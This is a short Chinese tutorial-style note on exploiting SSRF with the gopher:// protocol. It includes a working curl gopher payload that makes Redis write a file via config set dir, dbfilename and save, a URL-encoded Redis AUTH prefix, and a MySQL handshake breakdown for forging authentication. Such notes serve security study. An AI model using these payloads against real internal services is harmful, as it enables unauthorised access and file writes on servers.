gopher协议结合ssrf的利用
简介
在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
struct格式化字符串
redis
gopher协议传输过程中会吞第一个字符,所以需要填充一个垃圾字符,所以测试的payload就是
curl "gopher://172.22.48.1:6379/_config%20set%20dir%20/tmp/%0Aset%20x%20%22%5Cn%5Cn%5Cnfffffffffffffffffff%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dbfilename%20test123%0Asave"
需要认证时要在payload前加入认证信息
//*2代表的是这行命令中有两个输入,$4代表的是auth的长度是4,第二个$4代表的是test的长度是4,编码的时候需要把换行也编进去
*2
$4
auth
$4
test
//编码后的认证payload:
%2A2%0d%0a%244%0d%0aAUTH%0d%0a%244%0d%0atest%0D%0A
mysql
认证机制
建立tcp连接之后,服务器会向客户端发送mysql greeting初始化报文,我们认证所需的信息就在这个报文中
这是一段greeting报文中的mysql protocol部分
0000 4a 00 00 00 0a 35 2e 37 2e 32 36 00 02 00 00 00 J....5.7.26.....
0010 5a 29 19 31 57 1b 29 77 00 ff f7 c0 02 00 ff 81 Z).1W.)w........
0020 15 00 00 00 00 00 00 00 00 00 00 22 2f 7b 60 0e ..........."/{`.
0030 7a 34 42 1d 25 4d 73 00 6d 79 73 71 6c 5f 6e 61 z4B.%Ms.mysql_na
0040 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 tive_password.
4a 00 00 包长度
00 包的序号
0a 协议版本
35 2e 37 2e 32 36 00 服务器mysql版本
02 00 00 00 进程id
5a 29 19 31 57 1b 29 77 00 salt部分1
ff f7 MySQL 服务器支持的客户端功能的标志位
c0 MySQL 服务器使用的字符集编码
02 00 连接状态
ff 81 MySQL 服务器支持的客户端功能的标志位
15 插件认证所需的随机数据的长度
00 00 00 00 00 00 00 00 00 00 填充数据
22 2f 7b 60 0e 7a 34 42 1d 25 4d 73 00 salt部分2
6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 使用的认证插件
比较重要的是salt部分,这是要用来加密密码的,每一段salt最后的空字符00是要去掉的
加密的方法是将salt与密码的hash1拼接计算hash2,然后hash2与hash1进行异或
Gopherus
这个工具可以生成gopher协议的payload,可生成mysql、postgres、fastcgi、Memcached、Redis、Zabbix、SMTP类型的payload